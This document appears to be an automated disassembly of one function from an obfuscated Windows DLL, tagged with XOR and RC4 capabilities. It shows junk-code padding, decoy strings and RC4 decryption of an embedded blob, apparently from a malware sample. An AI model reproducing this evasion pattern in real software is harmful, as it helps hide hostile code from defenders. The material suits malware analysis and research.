Function at 0x100090f3
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push ebx
push esi
push edi
push 6
pop ecx
mov esi, str.File_not_open_for_reading
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [0x1003e7cc]
xor ebx, ebx
mov eax, ebx
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0x48]
jne 0x10009193
test cl, cl
je 0x10009134
cmp byte [ebp + eax - 0x48], bl
je 0x10009134
mov cl, byte [eax + 0x1003e7cd]
inc eax
cmp cl, byte [ebp + eax - 0x48]
je 0x1000911d
mov edi, dword [ebp - 0x10]
mov dword [ebp - 4], eax
cmp edi, eax
jae 0x10009193
mov esi, eax
mov edx, str.boleslawiec
mov ecx, str.SHGetKnownFolderPath
call fcn.10004978
cmp edi, 0x26c7
jne 0x1000916b
mov ecx, dword [0x1003e58c]
or ecx, 0xad2d80da
mov dword [0x1003e680], ecx
jmp 0x10009171
mov ecx, dword [0x1003e680]
imul eax, dword [0x1003e608], 0xcf57558d
mov dword [0x1003e608], eax
mov eax, str.wx_PNG_warning
push eax
mov edx, eax
call fcn.1000516c
inc edi
pop ecx
cmp edi, esi
jb 0x10009140
mov eax, dword [0x1003e680]
xor eax, 0x16c4f647
mov dword [ebp - 0xc], eax
mov dword [0x1003e608], eax
push 0xd
pop ecx
mov esi, str.invalid_with_alpha_channel
mov dword [ebp - 8], ebx
lea edi, [ebp - 0x64]
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
push 0x53
pop edx
movsw word es:[edi], word [esi]
cmp dx, word [ebp - 0x64]
jne 0x100091e5
mov ecx, ebx
test dx, dx
je 0x100091e2
cmp word [ebp + ecx - 0x64], bx
je 0x100091e2
inc eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.SHGetKnownFolderPath]
cmp dx, word [ebp + ecx - 0x64]
je 0x100091c4
mov dword [ebp - 8], eax
call fcn.100033db
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 8]
cmp esi, edi
jae 0x1000923e
mov ebx, dword [ebp - 0xc]
call fcn.10005858
cmp esi, 0x1c50
jne 0x1000921a
mov eax, ebx
mov ecx, str.wx_PNG_warning
xor eax, 0xb11e89f7
mov dword [0x1003e58c], eax
call fcn.100056db
and ebx, 0xaccdfe2a
push str.8_8_8_8P8T8d8h8l8p8t8x8
push ebx
mov edx, ebx
mov ecx, ebx
call fcn.1000413c
inc esi
pop ecx
pop ecx
cmp esi, edi
jb 0x100091f7
mov dword [0x1003e608], ebx
xor ebx, ebx
push 0xe
mov dword [ebp - 0x64], 0x2266
mov eax, ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], 0x1fdf
mov dword [ebp - 0x54], 0xa19
mov dword [ebp - 0x50], 0x9d3
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0xf19
mov dword [ebp - 0x44], 0x1e0b
mov dword [ebp - 0x40], 0x583
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0x1827
mov dword [ebp - 0x30], 0x2622
pop ecx
cmp eax, 6
je 0x1000929b
inc eax
cmp eax, ecx
jl 0x10009291
mov eax, dword [ebp + eax*4 - 0x64]
mov esi, ebx
mov ecx, dword [0x1003e58c]
mov dword [ebp - 0xa0], eax
mov eax, str.wx_PNG_warning
push eax
mov edx, eax
call fcn.1000516c
mov eax, 0xe5
mov dword [ebp - 0x48], 0x279
pop ecx
mov dword [ebp - 0x44], 0xce2
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0x4d7
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 0x1765
mov dword [ebp - 0x30], 0x1d4b
cmp esi, 4
je 0x100092f4
inc esi
cmp esi, 7
jl 0x100092e9
mov eax, dword [ebp + esi*4 - 0x48]
xor eax, 0xe2
mov dword [ebp - 0x50], 0x1f0c
push 0x2f
pop ecx
mov dword [ebp - 0xa8], eax
mov eax, ebx
mov dword [ebp - 0x4c], 0x1e7
mov dword [ebp - 0x48], 0x1836
mov dword [ebp - 0x44], 0x1077
mov dword [ebp - 0x40], 0x13be
mov dword [ebp - 0x3c], 0xf3a
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], 0x14a8
mov dword [ebp - 0x30], ecx
cmp eax, 6
je 0x1000934a
inc eax
cmp eax, 9
jl 0x1000933f
imul edi, dword [0x1003e608], 0x94fc1ce8
mov eax, dword [ebp + eax*4 - 0x50]
mov edx, dword [0x1003e680]
xor eax, 0x30
push ecx
mov ecx, str.wx_PNG_warning
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], edi
call fcn.1000493c
mov ecx, dword [0x1003e680]
add esp, 4
mov esi, ebx
and edi, 0x58a87676
call fcn.10003b8f
inc esi
mov ecx, edi
cmp word [esi*2 + str.SHGetKnownFolderPath], bx
jne 0x10009383
call fcn.10003896
mov edi, dword [ebp - 8]
cmp esi, 0x22f5
jne 0x100093be
lea esi, [edi - 0x53928b4b]
mov edx, str.8_8_8_8P8T8d8h8l8p8t8x8
push edi
push esi
mov dword [ebp - 4], esi
call fcn.10005bdc
pop ecx
pop ecx
jmp 0x100093c7
lea eax, [edi - 0x2876ba83]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [ebp - 0x64], 0xbe4
inc ecx
mov dword [ebp - 0x60], 0x1118
mov eax, ebx
mov dword [ebp - 0x5c], 0x181d
mov dword [ebp - 0x58], 0x413
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 0xf93
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], 0xd2d
mov dword [ebp - 0x40], 0x45c
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x282
mov dword [ebp - 0x34], 0xbb5
mov dword [ebp - 0x30], ecx
cmp eax, 0xa
je 0x10009425
inc eax
cmp eax, 0xe
jl 0x1000941a
mov eax, dword [ebp + eax*4 - 0x64]
push ecx
push ecx
mov ecx, str.SHGetKnownFolderPath
mov dword [ebp - 0xa4], eax
call fcn.10003f9a
mov eax, edi
mov esi, ebx
mov ebx, dword [ebp - 4]
and eax, 0xfabd1437
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
mov eax, str.wx_PNG_warning
push eax
push ebx
mov ecx, eax
call fcn.10004725
inc esi
pop ecx
pop ecx
cmp byte [esi + str.wx_PNG_warning], 0
jne 0x1000944c
push 0
pop ebx
cmp dword [ebp - 4], esi
jae 0x1000948a
sub esi, dword [ebp - 4]
push ecx
push ecx
mov ecx, str.boleslawiec
imul edi, edi, 0x3573aff8
call fcn.10003f9a
pop ecx
pop ecx
sub esi, 1
jne 0x10009471
mov eax, dword [ebp - 0xc]
lea edi, [ebp - 0x4c]
push 8
mov esi, str.1_13181B1P1Y1_1
mov dword [ebp - 0x28], 0x2fc844d9
mov edx, ebx
mov dword [ebp - 0x24], 0x42302d52
lea ecx, [eax - 0x4f0b486e]
mov dword [ebp - 0x20], 0x1f5901c2
mov dword [ebp - 8], ecx
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x38
pop ecx
mov dword [ebp - 0x1c], 0xa85ac03b
mov byte [ebp - 0x18], 0x93
mov dword [ebp - 4], edx
cmp cx, word [ebp - 0x4c]
jne 0x1000953a
mov edi, dword [ebp - 8]
mov esi, ecx
mov ecx, ebx
test si, si
je 0x1000950d
cmp word [ebp + ecx - 0x4c], bx
je 0x1000950d
push edi
mov edx, eax
mov ecx, 0x1003e7cc
call fcn.100037b7
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
inc edx
pop ecx
mov dword [ebp - 4], edx
lea ecx, [edx + edx]
movzx esi, word [ecx + str.8_8_8_8P8T8d8h8l8p8t8x8]
cmp si, word [ebp + ecx - 0x4c]
je 0x100094d8
mov esi, dword [ebp - 0x10]
jmp 0x10009536
cmp esi, 0x182
jne 0x1000952c
mov edx, str.wx_PNG_warning
mov ecx, eax
call fcn.1000319e
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
imul eax, eax, 0xaa42680
inc esi
mov dword [ebp - 0xc], eax
cmp esi, edx
jb 0x10009512
mov esi, str.GdipDrawBezier
mov eax, dword [ebp - 8]
lea edi, [ebp - 0xb8]
mov dword [ebp - 4], ebx
push 5
pop ecx
movsd dword es:[edi], dword [esi]
and eax, 0xc406caf2
push 0x38
mov dword [ebp - 8], eax
or eax, 0x6a42ba6b
mov dword [ebp - 0x14], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.taifun_dns
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
pop ecx
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0x44]
jne 0x100095a4
mov eax, ebx
test cx, cx
je 0x100095a4
cmp word [ebp + eax - 0x44], bx
je 0x100095a4
call fcn.10005333
mov edx, dword [ebp - 4]
inc edx
mov dword [ebp - 4], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.8_8_8_8P8T8d8h8l8p8t8x8]
cmp cx, word [ebp + eax - 0x44]
je 0x1000957b
call fcn.10004cad
mov esi, dword [ebp - 0x10]
cmp esi, dword [ebp - 4]
jae 0x100095f5
mov edi, dword [ebp - 0x14]
lea eax, [edi - 0x4b8908af]
mov dword [ebp - 8], eax
cmp esi, 0xec6
jne 0x100095dc
mov ebx, edi
mov edx, 0x1003e7cc
or ebx, 0x80fbd054
mov ecx, edi
mov dword [ebp - 0xc], ebx
call fcn.1000319e
push str.boleslawiec
push edi
mov edx, edi
mov ecx, edi
call fcn.1000413c
inc esi
pop ecx
pop ecx
cmp esi, dword [ebp - 4]
jb 0x100095bd
xor ebx, ebx
mov edi, ebx
mov eax, ebx
mov byte [ebp + eax - 0x1cc], al
inc eax
cmp eax, 0x100
jb 0x100095f9
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x1cc]
push 0xe
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xb8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1cc]
mov byte [ebp + esi - 0x1cc], al
inc esi
mov byte [ebp + edi - 0x1cc], bl
cmp esi, 0x100
jb 0x1000960a
mov esi, dword [ebp - 0xc]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ebx
lea eax, [ebx + 1]
imul esi, esi, 0xa7680c83
movzx ebx, al
mov eax, dword [ebp - 4]
mov cl, byte [ebp + ebx - 0x1cc]
xor esi, 0xdd5a327d
movzx edx, cl
add eax, edx
mov dword [0x1003e58c], esi
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x1cc]
mov byte [ebp + ebx - 0x1cc], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x1cc], cl
movzx eax, byte [ebp + ebx - 0x1cc]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1cc]
xor al, byte [ebp + edi - 0x28]
mov byte [ebp + edi - 0xcc], al
inc edi
cmp edi, 0x11
jb 0x10009654
imul eax, esi, 0xc8646a35
lea edi, [ebp - 0x2c]
mov dword [ebp - 0xc], esi
xor ebx, ebx
push 5
or dword [ebp - 8], 0xfb7868c5
mov esi, str.ChildWindowFromPoint
pop ecx
rep movsd dword es:[edi], dword [esi]
mov cl, byte [0x1003e7cc]
mov dword [ebp - 0x14], eax
mov dword [0x1003e680], eax
mov eax, 0xb2
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], eax
mov eax, ebx
mov byte [ebp - 0xbb], bl
mov dword [ebp - 0x54], 0x1cb4
mov dword [ebp - 0x50], 0x75f
mov dword [ebp - 0x4c], 0x109a
mov dword [ebp - 0x44], 0x151f
mov dword [ebp - 0x40], 0x509
mov dword [ebp - 0x38], 0x22e9
mov dword [ebp - 0x34], 0x208b
mov dword [ebp - 0x30], 0x107e
mov dword [ebp - 4], ebx
cmp cl, byte [ebp - 0x2c]
jne 0x10009759
test cl, cl
je 0x10009756
cmp byte [ebp + eax - 0x2c], bl
je 0x10009756
mov cl, byte [eax + 0x1003e7cd]
inc eax
cmp cl, byte [ebp + eax - 0x2c]
je 0x1000973f
mov dword [ebp - 4], eax
call fcn.10005530
mov ecx, dword [ebp - 4]
movzx eax, byte [ebp + ecx - 0x2c]
movzx ecx, byte [ecx + 0x1003e7cc]
sub ecx, eax
cmp ecx, 0x1dd5
jne 0x10009788
mov ecx, dword [ebp - 0xc]
and ecx, 0x3021749f
mov dword [0x1003e680], ecx
jmp 0x10009798
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
xor eax, 0x7f604bdf
mov dword [0x1003e58c], eax
mov eax, ebx
cmp eax, 3
je 0x100097a5
inc eax
cmp eax, 0xa
jl 0x1000979a
mov esi, dword [ebp + eax*4 - 0x54]
mov eax, ebx
xor esi, 0xb2
mov dword [ebp - 0x50], 0x58f
mov dword [ebp - 0x4c], 0xfce
mov dword [ebp - 0x48], 0x2533
mov dword [ebp - 0x44], 0x244
mov dword [ebp - 0x40], 0x13d6
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0x105c
mov dword [ebp - 0x30], ebx
cmp eax, 6
je 0x100097ef
inc eax
cmp eax, 9
jl 0x100097e4
mov eax, dword [ebp + eax*4 - 0x50]
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x58], 0x1727
mov dword [ebp - 0x54], 0x18c5
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0x255b
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0x2049
mov dword [ebp - 0x40], 0x687
mov dword [ebp - 0x3c], 0xbf3
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0x14b
mov dword [ebp - 0x30], 0x226f
cmp eax, 4
je 0x10009844
inc eax
cmp eax, 0xb
jl 0x10009839
mov eax, dword [ebp + eax*4 - 0x58]
lea edx, [ebp - 0xcc]
or ecx, 0xab108795
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xa0]
mov dword [0x1003e608], ecx
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 4], eax
call fcn.1001834c
call eax
push esi
mov edi, eax
lea eax, [ebp - 4]
push 4
push eax
push dword [ebp - 0xa8]
push edi
call fcn.10030a71
add esp, 0x14
test eax, eax
jne 0x10009a75
cmp dword [ebp - 4], ebx
je 0x10009a75
push dword [0x1003e608]
mov edx, str.SHGetKnownFolderPath
push dword [0x1003e58c]
call fcn.10005bdc
pop ecx
pop ecx
push 0x1c
pop ecx
mov esi, str.or_an_application_initialized_as_APPCMD_CLIENTONLY_has
mov dword [ebp - 8], ebx
lea edi, [ebp - 0x9c]
rep movsd dword es:[edi], dword [esi]
push 0x38
pop ecx
cmp cx, word [ebp - 0x9c]
jne 0x1000990d
mov eax, ebx
test cx, cx
je 0x1000990d
cmp word [ebp + eax - 0x9c], bx
je 0x1000990d
push ecx
push ecx
mov ecx, str.boleslawiec
call fcn.10003f9a
mov edx, dword [ebp - 8]
inc edx
pop ecx
pop ecx
mov dword [ebp - 8], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.8_8_8_8P8T8d8h8l8p8t8x8]
cmp cx, word [ebp + eax - 0x9c]
je 0x100098d5
xor eax, eax
mov dword [ebp - 0x40], 0x1b46
inc eax
mov dword [ebp - 0x38], 0x1a50
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], eax
mov eax, ebx
mov dword [ebp - 0x34], 0x14fc
cmp eax, 2
je 0x1000993b
inc eax
cmp eax, 6
jl 0x10009930
mov esi, dword [0x1003e58c]
mov eax, dword [ebp + eax*4 - 0x44]
xor esi, 0xdd4cd4f0
mov dword [ebp - 0xa0], eax
mov dword [0x1003e608], esi
call fcn.10004bf7
mov edi, ebx
mov eax, str.wx_PNG_warning
mov ecx, esi
push eax
mov edx, eax
call fcn.1000516c
mov eax, dword [0x1003e680]
inc edi
pop ecx
mov dword [ebp - 0xa4], eax
lea esi, [eax + 0xa3d5f92]
mov dword [0x1003e58c], esi
cmp word [edi*2 + str.8_8_8_8P8T8d8h8l8p8t8x8], bx
je 0x10009998
mov esi, dword [0x1003e608]
jmp 0x1000995e
mov edx, str.wx_PNG_warning
mov ecx, eax
call fcn.1000319e
cmp edi, 0x1682
jbe 0x100099c3
mov edx, str.boleslawiec
mov ecx, str.SHGetKnownFolderPath
call fcn.10004978
mov esi, dword [0x1003e608]
jmp 0x100099d4
add esi, 0x69a163ce
mov dword [0x1003e608], esi
call fcn.10003623
push ecx
push ecx
mov ecx, str.SHGetKnownFolderPath
call fcn.10003f9a
pop ecx
mov eax, esi
pop ecx
and eax, 0x1f6c0fd4
mov ecx, ebx
mov dword [0x1003e680], eax
inc ecx
cmp word [ecx*2 + str.boleslawiec], bx
jne 0x100099f0
mov dword [ebp - 0xa8], ecx
call fcn.10003284
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xa8]
cmp edi, ebx
jae 0x10009a6a
imul eax, esi, 0x85930962
mov dword [ebp - 4], eax
cmp edi, 0x2c6
jne 0x10009a31
mov dword [0x1003e680], eax
call fcn.10003c14
mov eax, dword [ebp - 4]
sub eax, 0x50b84f7a
mov ecx, 0x1003e7cc
mov dword [ebp - 4], eax
add esi, 0x22e33933
mov eax, dword [ebp - 0xa4]
add eax, 0xa3d5f92
push str.wx_PNG_warning
push eax
call fcn.10004725
mov eax, dword [ebp - 4]
inc edi
pop ecx
pop ecx
cmp edi, ebx
jb 0x10009a1c
mov dword [0x1003e608], esi
mov eax, dword [ebp - 0xa0]
jmp 0x10009c8d
push dword [ebp - 0x14]
lea eax, [ebp - 4]
push 4
push eax
push dword [ebp - 0x10]
push edi
call fcn.10030a71
add esp, 0x14
test eax, eax
jne 0x10009c24
cmp dword [ebp - 4], ebx
jne 0x10009c24
mov cl, byte [0x1003e7cc]
lea edi, [ebp - 0xb4]
mov esi, str.judygarland
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp cl, byte [ebp - 0xb4]
jmp 0x10009adc
test cl, cl
je 0x10009ae1
cmp byte [ebp + eax - 0xb4], bl
je 0x10009ae1
call fcn.10005530
mov eax, dword [ebp - 4]
inc eax
mov cl, byte [eax + 0x1003e7cc]
cmp cl, byte [ebp + eax - 0xb4]
mov dword [ebp - 4], eax
je 0x10009ab9
call fcn.10003623
mov ecx, dword [ebp - 4]
mov edi, dword [0x1003e680]
movzx eax, byte [ebp + ecx - 0xb4]
movzx ecx, byte [ecx + 0x1003e7cc]
sub ecx, eax
cmp ecx, 0x1e84
jne 0x10009b16
mov esi, dword [0x1003e608]
lea ecx, [edi - 0x619e2314]
jmp 0x10009b22
mov ecx, dword [0x1003e58c]
lea esi, [edi + 0x3c7c625c]
push 7
pop edx
and edi, 0xb4666e21
mov dword [ebp - 0x50], 0x12e7
mov dword [0x1003e680], edi
mov eax, ebx
mov dword [ebp - 0x4c], 0x13fd
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], 0x2587
mov dword [ebp - 0x40], 0x1abe
mov dword [ebp - 0x3c], 0xfc
mov dword [ebp - 0x38], 0x133f
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], 0x1197
cmp eax, edx
je 0x10009b74
inc eax
cmp eax, 9
jl 0x10009b6a
mov eax, dword [ebp + eax*4 - 0x50]
xor eax, 6
sub esi, 0x5a40d7fb
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [0x1003e608], esi
sub ecx, 0x4c601bbe
inc eax
cmp word [eax*2 + str.8_8_8_8P8T8d8h8l8p8t8x8], bx
jne 0x10009b8c
mov dword [0x1003e58c], ecx
mov ecx, str.wx_PNG_warning
mov dword [ebp - 4], eax
call fcn.100056db
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp eax, ecx
jae 0x10009be2
and esi, 0x4edcbacb
mov dword [0x1003e58c], esi
cmp eax, 0xb2a
jne 0x10009bda
mov ecx, edi
call fcn.10003b8f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
inc eax
mov dword [ebp - 8], eax
cmp eax, ecx
jb 0x10009bc6
mov esi, str.8D9L9X9e9m9u99
lea edi, [ebp - 0xb8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0xb8], 0x77
jne 0x10009c1f
mov al, 0x77
test al, al
je 0x10009c1f
cmp byte [ebp + ebx - 0xb8], 0
je 0x10009c1f
call fcn.10003e1f
mov al, byte [ebx + 0x100348f1]
inc ebx
cmp al, byte [ebp + ebx - 0xb8]
je 0x10009bfc
mov eax, dword [ebp - 0x10]
jmp 0x10009c8d
call fcn.10003623
mov esi, dword [0x1003e58c]
cmp byte [0x1003e7cc], bl
je 0x10009c4d
and esi, 0x34f386b0
inc ebx
cmp byte [ebx + 0x1003e7cc], 0
jne 0x10009c37
mov dword [0x1003e58c], esi
call fcn.10004831
mov edi, dword [ebp - 0x10]
cmp edi, ebx
jae 0x10009c8a
push ecx
push ecx
mov ecx, str.SHGetKnownFolderPath
call fcn.10003f9a
pop ecx
pop ecx
cmp edi, 0xee0
jne 0x10009c79
or dword [0x1003e608], 0x650f553d
xor esi, 0xf0be6976
inc edi
cmp edi, ebx
jb 0x10009c59
mov dword [0x1003e58c], esi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret